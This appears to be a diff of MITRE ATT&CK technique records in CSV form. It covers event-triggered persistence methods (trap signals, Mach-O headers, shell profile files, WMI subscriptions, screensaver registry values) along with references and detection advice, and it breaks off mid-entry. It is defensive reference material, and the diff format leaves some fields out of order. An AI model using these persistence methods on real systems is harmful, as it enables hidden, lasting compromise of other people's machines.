'https://attack.mitre.org/techniques/T1546/005'}, {'source_name': 'Trap Manual', 'url': 'https://ss64.com/bash/trap.html', 'description': 'ss64. (n.d.). trap. Retrieved May 21, 2019.'}, {'source_name': 'Cyberciti Trap Statements', 'url': 'https://bash.cyberciti.biz/guide/Trap_statement', 'description': 'Cyberciti. (2016, March 29). Trap statement. Retrieved May 21, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]",1.0,True,https://attack.mitre.org/techniques/T1546/005,mitre-attack,T1546.005,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Trap,"Adversaries may establish persistence by executing malicious content triggered by an interrupt signal. The trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d. +Adversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time. (Citation: Malware Persistence on OS X)","['privilege-escalation', 'persistence']",https://attack.mitre.org/techniques/T1546/006,mitre-attack,T1546.006,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution', 'File: File Metadata', 'File: File Modification', 'Module: Module Load']",,Monitor processes for those that may be used to modify binary headers. Monitor file systems for changes to application binaries and invalid checksums/signatures. Changes to binaries that do not line up with application updates or patches are also extremely suspicious.,True,['User'],['macOS'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1546/005', 'external_id': 'T1546.005'}, {'source_name': 'Trap Manual', 'description': 'ss64. (n.d.). trap. Retrieved May 21, 2019.', 'url': 'https://ss64.com/bash/trap.html'}, {'source_name': 'Cyberciti Trap Statements', 'description': 'Cyberciti. (2016, March 29). Trap statement. Retrieved May 21, 2019.', 'url': 'https://bash.cyberciti.biz/guide/Trap_statement'}]",1.0,attack-pattern,attack-pattern--63220765-d418-44de-8fae-694b3912317d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-24T14:17:43.906Z,2020-03-24T16:43:02.273Z,Trap,"Adversaries may establish persistence by executing malicious content triggered by an interrupt signal. The trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d. -Adversaries can use this to register code to be executed when the shell encounters specific interrupts as a persistence mechanism. Trap commands are of the following format trap 'command list' signals where ""command list"" will be executed when ""signals"" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)",attack-pattern--63220765-d418-44de-8fae-694b3912317d,attack-pattern,"['privilege-escalation', 'persistence']",2020-03-24T16:43:02.273Z,2020-01-24T14:17:43.906Z,"Trap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts.","['Process: Process Creation', 'Command: Command Execution', 'File: File Creation', 'File: File Modification']",,,"['User', 'Administrator']","['macOS', 'Linux']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1546.004', 'url': 'https://attack.mitre.org/techniques/T1546/004'}, {'source_name': 'intezer-kaiji-malware', 'url': 'https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/', 'description': 'Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020.'}, {'source_name': 'bencane blog bashrc', 'url': 'https://bencane.com/2013/09/16/understanding-a-little-more-about-etcprofile-and-etcbashrc/', 'description': 'Benjamin Cane. (2013, September 16). Understanding a little more about /etc/profile and /etc/bashrc. Retrieved February 25, 2021.'}, {'source_name': 'anomali-rocke-tactics', 'url': 'https://www.anomali.com/blog/illicit-cryptomining-threat-actor-rocke-changes-tactics-now-more-difficult-to-detect', 'description': 'Anomali Threat Research. (2019, October 15). Illicit Cryptomining Threat Actor Rocke Changes Tactics, Now More Difficult to Detect. Retrieved December 17, 2020.'}, {'source_name': 'Linux manual bash invocation', 'url': 'https://wiki.archlinux.org/index.php/Bash#Invocation', 'description': 'ArchWiki. (2021, January 19). Bash. Retrieved February 25, 2021.'}, {'source_name': 'Tsunami', 'url': 'https://unit42.paloaltonetworks.com/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/', 'description': 'Claud Xiao and Cong Zheng. (2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved December 17, 2020.'}, {'source_name': 'anomali-linux-rabbit', 'url': 'https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat', 'description': 'Anomali Threat Research. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved December 17, 2020.'}, {'source_name': 'Magento', 'url': 'https://blog.sucuri.net/2018/05/shell-logins-as-a-magento-reinfection-vector.html', 'description': 'Cesar Anjos. (2018, May 31). Shell Logins as a Magento Reinfection Vector. Retrieved December 17, 2020.'}, {'source_name': 'ScriptingOSX zsh', 'url': 'https://scriptingosx.com/2019/06/moving-to-zsh-part-2-configuration-files/', 'description': 'Armin Briegel. (2019, June 5). Moving to zsh, part 2: Configuration Files. Retrieved February 25, 2021.'}, {'source_name': 'PersistentJXA_leopitt', 'url': 'https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5', 'description': ""Leo Pitt. (2020, August 6). Persistent JXA - A poor man's Powershell for macOS. Retrieved January 11, 2021.""}, {'source_name': 'code_persistence_zsh', 'url': 'https://github.com/D00MFist/PersistentJXA/blob/master/BashProfilePersist.js', 'description': 'Leo Pitt. (2020, November 11). Github - PersistentJXA/BashProfilePersist.js. Retrieved January 11, 2021.'}, {'source_name': 'ESF_filemonitor', 'url': 'https://objective-see.com/blog/blog_0x48.html', 'description': ""Patrick Wardle. (2019, September 17). Writing a File Monitor with Apple's Endpoint Security Framework. Retrieved December 17, 2020.""}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]",2.0,True,https://attack.mitre.org/techniques/T1546/004,mitre-attack,T1546.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Unix Shell Configuration Modification,"Adversaries may establish persistence through executing malicious commands triggered by a user’s shell. User [Unix Shell](https://attack.mitre.org/techniques/T1059/004)s execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user’s home directory (~/) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user’s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately. +Adversaries can use this to register code to be executed when the shell encounters specific interrupts as a persistence mechanism. Trap commands are of the following format trap 'command list' signals where ""command list"" will be executed when ""signals"" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)","['privilege-escalation', 'persistence']",https://attack.mitre.org/techniques/T1546/005,mitre-attack,T1546.005,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution', 'File: File Creation', 'File: File Modification']",,"Trap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts.",True,"['User', 'Administrator']","['macOS', 'Linux']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1546/004', 'external_id': 'T1546.004'}, {'source_name': 'intezer-kaiji-malware', 'description': 'Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020.', 'url': 'https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/'}, {'source_name': 'bencane blog bashrc', 'description': 'Benjamin Cane. (2013, September 16). Understanding a little more about /etc/profile and /etc/bashrc. Retrieved February 25, 2021.', 'url': 'https://bencane.com/2013/09/16/understanding-a-little-more-about-etcprofile-and-etcbashrc/'}, {'source_name': 'anomali-rocke-tactics', 'description': 'Anomali Threat Research. (2019, October 15). Illicit Cryptomining Threat Actor Rocke Changes Tactics, Now More Difficult to Detect. Retrieved December 17, 2020.', 'url': 'https://www.anomali.com/blog/illicit-cryptomining-threat-actor-rocke-changes-tactics-now-more-difficult-to-detect'}, {'source_name': 'Linux manual bash invocation', 'description': 'ArchWiki. (2021, January 19). Bash. Retrieved February 25, 2021.', 'url': 'https://wiki.archlinux.org/index.php/Bash#Invocation'}, {'source_name': 'Tsunami', 'description': 'Claud Xiao and Cong Zheng. (2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved December 17, 2020.', 'url': 'https://unit42.paloaltonetworks.com/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/'}, {'source_name': 'anomali-linux-rabbit', 'description': 'Anomali Threat Research. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved December 17, 2020.', 'url': 'https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat'}, {'source_name': 'Magento', 'description': 'Cesar Anjos. (2018, May 31). Shell Logins as a Magento Reinfection Vector. Retrieved December 17, 2020.', 'url': 'https://blog.sucuri.net/2018/05/shell-logins-as-a-magento-reinfection-vector.html'}, {'source_name': 'ScriptingOSX zsh', 'description': 'Armin Briegel. (2019, June 5). Moving to zsh, part 2: Configuration Files. Retrieved February 25, 2021.', 'url': 'https://scriptingosx.com/2019/06/moving-to-zsh-part-2-configuration-files/'}, {'source_name': 'PersistentJXA_leopitt', 'description': ""Leo Pitt. (2020, August 6). Persistent JXA - A poor man's Powershell for macOS. Retrieved January 11, 2021."", 'url': 'https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5'}, {'source_name': 'code_persistence_zsh', 'description': 'Leo Pitt. (2020, November 11). Github - PersistentJXA/BashProfilePersist.js. Retrieved January 11, 2021.', 'url': 'https://github.com/D00MFist/PersistentJXA/blob/master/BashProfilePersist.js'}, {'source_name': 'macOS MS office sandbox escape', 'description': 'Cedric Owens. (2021, May 22). macOS MS Office Sandbox Brain Dump. Retrieved August 20, 2021.', 'url': 'https://cedowens.medium.com/macos-ms-office-sandbox-brain-dump-4509b5fed49a'}, {'source_name': 'ESF_filemonitor', 'description': ""Patrick Wardle. (2019, September 17). Writing a File Monitor with Apple's Endpoint Security Framework. Retrieved December 17, 2020."", 'url': 'https://objective-see.com/blog/blog_0x48.html'}]",2.1,attack-pattern,attack-pattern--b63a34e8-0a61-4c97-a23b-bf8a2ed812e2,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-24T14:13:45.936Z,2021-08-20T18:01:52.120Z,Unix Shell Configuration Modification,"Adversaries may establish persistence through executing malicious commands triggered by a user’s shell. User [Unix Shell](https://attack.mitre.org/techniques/T1059/004)s execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user’s home directory (~/) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user’s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately. Adversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the /etc/profile and /etc/profile.d files.(Citation: intezer-kaiji-malware)(Citation: bencane blog bashrc) These files typically require root permissions to modify and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into ~/.bash_profile, ~/.bash_login, or ~/.profile which are sourced when a user opens a command-line interface or connects remotely.(Citation: anomali-rocke-tactics)(Citation: Linux manual bash invocation) Since the system only executes the first existing file in the listed order, adversaries have used ~/.bash_profile to ensure execution. Adversaries have also leveraged the ~/.bashrc file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface.(Citation: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anomali-linux-rabbit)(Citation: Magento) Some malware targets the termination of a program to trigger execution, adversaries can use the ~/.bash_logout file to execute malicious commands at the end of a session. -For macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using /etc/profile, /etc/zshenv, /etc/zprofile, and /etc/zlogin.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation: code_persistence_zsh) The login shell then configures the user environment with ~/.zprofile and ~/.zlogin. The interactive shell uses the ~/.zshrc to configure the user environment. Upon exiting, /etc/zlogout and ~/.zlogout are executed. For legacy programs, macOS executes /etc/bashrc on startup.",attack-pattern--b63a34e8-0a61-4c97-a23b-bf8a2ed812e2,attack-pattern,"['privilege-escalation', 'persistence']",2021-03-08T15:22:54.089Z,2020-01-24T14:13:45.936Z,"While users may customize their shell profile files, there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process. +For macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using /etc/profile, /etc/zshenv, /etc/zprofile, and /etc/zlogin.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation: code_persistence_zsh)(Citation: macOS MS office sandbox escape) The login shell then configures the user environment with ~/.zprofile and ~/.zlogin. The interactive shell uses the ~/.zshrc to configure the user environment. Upon exiting, /etc/zlogout and ~/.zlogout are executed. For legacy programs, macOS executes /etc/bashrc on startup.","['privilege-escalation', 'persistence']",https://attack.mitre.org/techniques/T1546/004,mitre-attack,T1546.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Robert Wilson', 'Tony Lambert, Red Canary']","['Process: Process Creation', 'Command: Command Execution', 'File: File Creation', 'File: File Modification']",,"While users may customize their shell profile files, there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process. Monitor for changes to /etc/profile and /etc/profile.d, these files should only be modified by system administrators. MacOS users can leverage Endpoint Security Framework file events monitoring these specific files.(Citation: ESF_filemonitor) For most Linux and macOS systems, a list of file paths for valid shell options available on a system are located in the /etc/shells file. -","['Process: Process Creation', 'Command: Command Execution', 'File: File Creation', 'File: File Modification']","['Robert Wilson', 'Tony Lambert, Red Canary']",,"['User', 'Administrator']","['Linux', 'macOS']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1546.003', 'url': 'https://attack.mitre.org/techniques/T1546/003'}, {'url': 'https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf', 'description': 'Mandiant. (2015, February 24). M-Trends 2015: A View from the Front Lines. Retrieved May 18, 2016.', 'source_name': 'Mandiant M-Trends 2015'}, {'source_name': 'FireEye WMI SANS 2015', 'url': 'https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf', 'description': ""Devon Kerr. (2015). There's Something About WMI. Retrieved May 4, 2020.""}, {'url': 'https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf', 'description': 'Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.', 'source_name': 'FireEye WMI 2015'}, {'url': 'https://www.secureworks.com/blog/wmi-persistence', 'description': 'Dell SecureWorks Counter Threat Unit™ (CTU) Research Team. (2016, March 28). A Novel WMI Persistence Implementation. Retrieved March 30, 2016.', 'source_name': 'Dell WMI Persistence'}, {'source_name': 'Microsoft MOF May 2018', 'url': 'https://docs.microsoft.com/en-us/windows/win32/wmisdk/managed-object-format--mof-', 'description': 'Satran, M. (2018, May 30). Managed Object Format (MOF). Retrieved January 24, 2020.'}, {'url': 'https://technet.microsoft.com/en-us/sysinternals/bb963902', 'description': 'Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', 'source_name': 'TechNet Autoruns'}, {'description': 'French, D. (2018, October 9). Detecting & Removing an Attacker’s WMI Persistence. Retrieved October 11, 2019.', 'url': 'https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96', 'source_name': 'Medium Detecting WMI Persistence'}, {'source_name': 'Elastic - Hunting for Persistence Part 1', 'url': 'https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1', 'description': 'French, D., Murphy, B. (2020, March 24). Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1). Retrieved December 21, 2020.'}, {'source_name': 'Microsoft Register-WmiEvent', 'url': 'https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/register-wmievent?view=powershell-5.1', 'description': 'Microsoft. (n.d.). Retrieved January 24, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]",1.1,True,https://attack.mitre.org/techniques/T1546/003,mitre-attack,T1546.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Windows Management Instrumentation Event Subscription,"Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user loging, or the computer's uptime. (Citation: Mandiant M-Trends 2015) +",True,"['User', 'Administrator']","['Linux', 'macOS']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1546/003', 'external_id': 'T1546.003'}, {'source_name': 'Mandiant M-Trends 2015', 'description': 'Mandiant. (2015, February 24). M-Trends 2015: A View from the Front Lines. Retrieved May 18, 2016.', 'url': 'https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf'}, {'source_name': 'FireEye WMI SANS 2015', 'description': ""Devon Kerr. (2015). There's Something About WMI. Retrieved May 4, 2020."", 'url': 'https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf'}, {'source_name': 'FireEye WMI 2015', 'description': 'Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.', 'url': 'https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf'}, {'source_name': 'Dell WMI Persistence', 'description': 'Dell SecureWorks Counter Threat Unit™ (CTU) Research Team. (2016, March 28). A Novel WMI Persistence Implementation. Retrieved March 30, 2016.', 'url': 'https://www.secureworks.com/blog/wmi-persistence'}, {'source_name': 'Microsoft MOF May 2018', 'description': 'Satran, M. (2018, May 30). Managed Object Format (MOF). Retrieved January 24, 2020.', 'url': 'https://docs.microsoft.com/en-us/windows/win32/wmisdk/managed-object-format--mof-'}, {'source_name': 'TechNet Autoruns', 'description': 'Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', 'url': 'https://technet.microsoft.com/en-us/sysinternals/bb963902'}, {'source_name': 'Medium Detecting WMI Persistence', 'description': 'French, D. (2018, October 9). Detecting & Removing an Attacker’s WMI Persistence. Retrieved October 11, 2019.', 'url': 'https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96'}, {'source_name': 'Elastic - Hunting for Persistence Part 1', 'description': 'French, D., Murphy, B. (2020, March 24). Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1). Retrieved December 21, 2020.', 'url': 'https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1'}, {'source_name': 'Microsoft Register-WmiEvent', 'description': 'Microsoft. (n.d.). Retrieved January 24, 2020.', 'url': 'https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/register-wmievent?view=powershell-5.1'}]",1.2,attack-pattern,attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-24T14:07:56.276Z,2021-10-16T20:11:13.719Z,Windows Management Instrumentation Event Subscription,"Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user loging, or the computer's uptime. (Citation: Mandiant M-Trends 2015) Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015) Adversaries may also compile WMI scripts into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription. (Citation: Dell WMI Persistence) (Citation: Microsoft MOF May 2018) -WMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.",attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58,attack-pattern,"['privilege-escalation', 'persistence']",2021-04-13T21:32:54.094Z,2020-01-24T14:07:56.276Z,"Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence. (Citation: TechNet Autoruns) (Citation: Medium Detecting WMI Persistence) Monitor for the creation of new WMI EventFilter, EventConsumer, and FilterToConsumerBinding events. Event ID 5861 is logged on Windows 10 systems when new EventFilterToConsumerBinding events are created.(Citation: Elastic - Hunting for Persistence Part 1) +WMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.","['privilege-escalation', 'persistence']",https://attack.mitre.org/techniques/T1546/003,mitre-attack,T1546.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Brent Murphy, Elastic', 'David French, Elastic']","['Command: Command Execution', 'Process: Process Creation', 'WMI: WMI Creation']",,"Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence. (Citation: TechNet Autoruns) (Citation: Medium Detecting WMI Persistence) Monitor for the creation of new WMI EventFilter, EventConsumer, and FilterToConsumerBinding events. Event ID 5861 is logged on Windows 10 systems when new EventFilterToConsumerBinding events are created.(Citation: Elastic - Hunting for Persistence Part 1) -Monitor processes and command-line arguments that can be used to register WMI persistence, such as the Register-WmiEvent [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet (Citation: Microsoft Register-WmiEvent), as well as those that result from the execution of subscriptions (i.e. spawning from the WmiPrvSe.exe WMI Provider Host process).","['Command: Command Execution', 'Process: Process Creation', 'WMI: WMI Creation']","['Brent Murphy, Elastic', 'David French, Elastic']",,"['Administrator', 'SYSTEM']",['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1546.002', 'url': 'https://attack.mitre.org/techniques/T1546/002'}, {'source_name': 'Wikipedia Screensaver', 'description': 'Wikipedia. (2017, November 22). Screensaver. Retrieved December 5, 2017.', 'url': 'https://en.wikipedia.org/wiki/Screensaver'}, {'source_name': 'ESET Gazer Aug 2017', 'description': 'ESET. (2017, August). Gazing at Gazer: Turla’s new second stage backdoor. Retrieved September 14, 2017.', 'url': 'https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]",1.0,True,https://attack.mitre.org/techniques/T1546/002,mitre-attack,T1546.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Screensaver,"Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:\Windows\System32\, and C:\Windows\sysWOW64\ on 64-bit Windows systems, along with screensavers included with base Windows installations. +Monitor processes and command-line arguments that can be used to register WMI persistence, such as the Register-WmiEvent [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet (Citation: Microsoft Register-WmiEvent), as well as those that result from the execution of subscriptions (i.e. spawning from the WmiPrvSe.exe WMI Provider Host process).",True,"['Administrator', 'SYSTEM']",['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1546/002', 'external_id': 'T1546.002'}, {'source_name': 'Wikipedia Screensaver', 'description': 'Wikipedia. (2017, November 22). Screensaver. Retrieved December 5, 2017.', 'url': 'https://en.wikipedia.org/wiki/Screensaver'}, {'source_name': 'ESET Gazer Aug 2017', 'description': 'ESET. (2017, August). Gazing at Gazer: Turla’s new second stage backdoor. Retrieved September 14, 2017.', 'url': 'https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf'}]",1.0,attack-pattern,attack-pattern--ce4b7013-640e-48a9-b501-d0025a95f4bf,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-24T13:51:01.210Z,2020-03-23T12:23:04.955Z,Screensaver,"Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:\Windows\System32\, and C:\Windows\sysWOW64\ on 64-bit Windows systems, along with screensavers included with base Windows installations. The following screensaver settings are stored in the Registry (HKCU\Control Panel\Desktop\) and could be manipulated to achieve persistence: @@ -2152,22 +2363,22 @@ The following screensaver settings are stored in the Registry (HKCU\Contro * ScreenSaverIsSecure - set to '0' to not require a password to unlock * ScreenSaveTimeout - sets user inactivity timeout before screensaver is executed -Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017)",attack-pattern--ce4b7013-640e-48a9-b501-d0025a95f4bf,attack-pattern,"['privilege-escalation', 'persistence']",2020-03-23T12:23:04.955Z,2020-01-24T13:51:01.210Z,"Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior. +Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017)","['privilege-escalation', 'persistence']",https://attack.mitre.org/techniques/T1546/002,mitre-attack,T1546.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Bartosz Jerzman'],"['Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'File: File Creation', 'File: File Modification']",,"Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior. -Tools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated.","['Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'File: File Creation', 'File: File Modification']",['Bartosz Jerzman'],,['User'],['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1546.001', 'url': 'https://attack.mitre.org/techniques/T1546/001'}, {'external_id': 'CAPEC-556', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/556.html'}, {'url': 'https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs', 'description': 'Microsoft. (n.d.). Change which programs Windows 7 uses by default. Retrieved July 26, 2016.', 'source_name': 'Microsoft Change Default Programs'}, {'url': 'http://msdn.microsoft.com/en-us/library/bb166549.aspx', 'description': 'Microsoft. (n.d.). Specifying File Handlers for File Name Extensions. Retrieved November 13, 2014.', 'source_name': 'Microsoft File Handlers'}, {'url': 'https://docs.microsoft.com/windows-server/administration/windows-commands/assoc', 'description': 'Plett, C. et al.. (2017, October 15). assoc. Retrieved August 7, 2018.', 'source_name': 'Microsoft Assoc Oct 2017'}, {'url': 'https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd', 'description': 'Sioting, S. (2012, October 8). TROJ_FAKEAV.GZD. Retrieved August 8, 2018.', 'source_name': 'TrendMicro TROJ-FAKEAV OCT 2012'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]",1.0,True,https://attack.mitre.org/techniques/T1546/001,mitre-attack,T1546.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Change Default File Association,"Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by 